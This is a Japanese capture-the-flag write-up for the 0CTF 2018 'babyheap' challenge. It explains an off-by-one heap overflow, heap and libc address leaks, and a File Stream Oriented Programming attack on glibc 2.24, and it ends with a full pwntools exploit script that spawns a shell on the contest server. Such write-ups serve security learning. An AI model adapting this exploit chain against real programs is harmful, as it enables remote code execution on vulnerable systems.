0CTF 2018 babyheap writeup
ELF 64-bit、動的リンク、full RELROとSSPとNXとPIE有効。
$ file babyheap babyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=07335c82a28f73c1c4ac099f3381bfebff27e5e5, stripped $ checksec babyheap [*] '/program/ctf/0ctf/2018/babyheap/babyheap' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
$ ./babyheap __ __ _____________ __ __ ___ ____ / //_// ____/ ____/ | / / / / / | / __ ) / ,< / __/ / __/ / |/ / / / / /| | / __ | / /| |/ /___/ /___/ /| / / /___/ ___ |/ /_/ / /_/ |_/_____/_____/_/ |_/ /_____/_/ |_/_____/ ===== Baby Heap in 2018 ===== 1. Allocate 2. Update 3. Delete 4. View 5. Exit Command:
- Allocate:
calloc
で領域を確保する(したがって確保した領域は0埋めされる)。上限は0x58bytes。 - Update: 1. で確保した領域にバイト列を書き込む。off-by-one errorがある。
- Delete:
free
する。 - View: 確保したサイズだけバイト列を出力する。
- Exit: 終了。
off-by-one errorがあるため次のchunkのsizeを書き換えることができる。そこでまず初めに行うのがheapとlibcの領域のアドレスのリーク。
heap領域のアドレスのリーク
3つ領域を確保し(サイズは同じでなくてもいい)、1つ目の領域でのオーバーフローにより2つ目のサイズをその次のchunkのサイズと合わせたものに変える。2つ目を一度freeし、再び確保(この場合0x58bytes分)すると2つ目と3つ目で読み書きできる領域を被らせることができる。この状態で3つ目の領域をfreeすると他のchunkへのポインタが領域内に書き込まれるためheapのアドレスをリークすることができる。
libcベースアドレスのリーク
先ほどはfreeされたchunkがfastbinsに入れられたためheapのアドレスが書き込まれたが、ここではunsorted binsに追加させ、libcのアドレスをリークする。やり方は上の方法とほとんど同じで、chunkをオーバーラップさせた後に3つ目のchunkのサイズを0x80よりも大きいサイズに書き換えてからfreeする。するとそのchunkがunsorted binsに追加されるため、binsへのポインタが領域内に書き込まれ、libcのアドレスをリークすることができる。
exploit
確保できるサイズの上限が0x58であるためmalloc_hookやvtable書き換えによるone gadget RCEは難しい。そこでFile Stream Oriented Programmingを使う。これは簡単に言うとabort時にstdoutなどをflushするために使うリストの先頭IO_list_allを書き換え、偽造したvtableの関数を実行させるというものである。House of Orangeなどで調べると詳しい内容が出てくるのでそちらを参考に(投げやり)。ただ今回使われているlibcのバージョンが2.24であるため正しいIO_FILEであるかのチェックが行われている。これを突破するためにvtableにIO_str_jumpsを設定してチェックを抜け、IO_fileの値をうまくいじることによりsystem("/bin/sh")
を実行できる。参考:
http://veritas501.space/2017/12/13/IO%20FILE%20%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/
#!/usr/bin/env python from pwn import * def allocate(size): s.sendlineafter('Command: ', '1') s.sendlineafter('Size: ', str(size)) def update(index,size,content): s.sendlineafter('Command: ', '2') s.sendlineafter('Index: ', str(index)) s.sendlineafter('Size: ', str(size)) s.sendlineafter('Content: ', content) def delete(index): s.sendlineafter('Command: ', '3') s.sendlineafter('Index: ', str(index)) def view(index): s.sendlineafter('Command: ', '4') s.sendlineafter('Index: ', str(index)) s.recvuntil('Chunk[%d]: ' % index) return s.recvline(False) if __name__ == '__main__': if len(sys.argv) == 1: s = process('./babyheap') unsorted_bin = 0x3c1b58 _IO_str_jumps = 0x3be4c0 libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: s = remote('202.120.7.204', 127) unsorted_bin = 0x399b58 _IO_file_jumps = 0x396440 _IO_str_jumps = _IO_file_jumps + 0xc0 libc = ELF('./libc-2.24.so') allocate(0x18) allocate(0x18) allocate(0x38) allocate(0x28) allocate(0x28) allocate(0x38) allocate(0x18) allocate(0x38) delete(7) update(0,0x19,'A'*0x18 + '\x61') delete(1) allocate(0x58) update(1,0x19,'A'*0x18 + '\x41') delete(2) heap_base = u64(view(1)[0x20:0x28]) - 0x140 log.info('heap base: %#x' % heap_base) allocate(0x38) update(1,0x19,'A'*0x18 + '\xe1') delete(2) libc_base = u64(view(1)[0x20:0x28]) - unsorted_bin log.info('libc base: %#x' % libc_base) ''' _IO_FILE offset: 0x40 + 0x0 = 0 + 0x20 = 0 + 0x28 = 0x7fffffffffffffff + 0x38 = 0 + 0x40 = (binsh - 100) / 2 + 0xa0 = heap_base + 0xd8 = _IO_str_jumps + 0xe0 = system ''' update(0,0x18,p64(0) + p64(1) + '/bin/sh\0') update(1,0x58,'A' * 0x10 + p64(0) + p64(0x61) + 'A' * 8 + p64(libc_base + libc.symbols['_IO_list_all'] - 0x10) + p64(0) + p64(0x7fffffffffffffff) + 'A' * 8 + p64(0) + p64((heap_base + 0x20 - 100) // 2)) update(4,0x28,'A' * 0x20 + p64(heap_base)) update(5,0x38,'A' * 0x28 + p64(libc_base + _IO_str_jumps) + p64(libc_base + libc.symbols['system'])) allocate(0x48) s.interactive()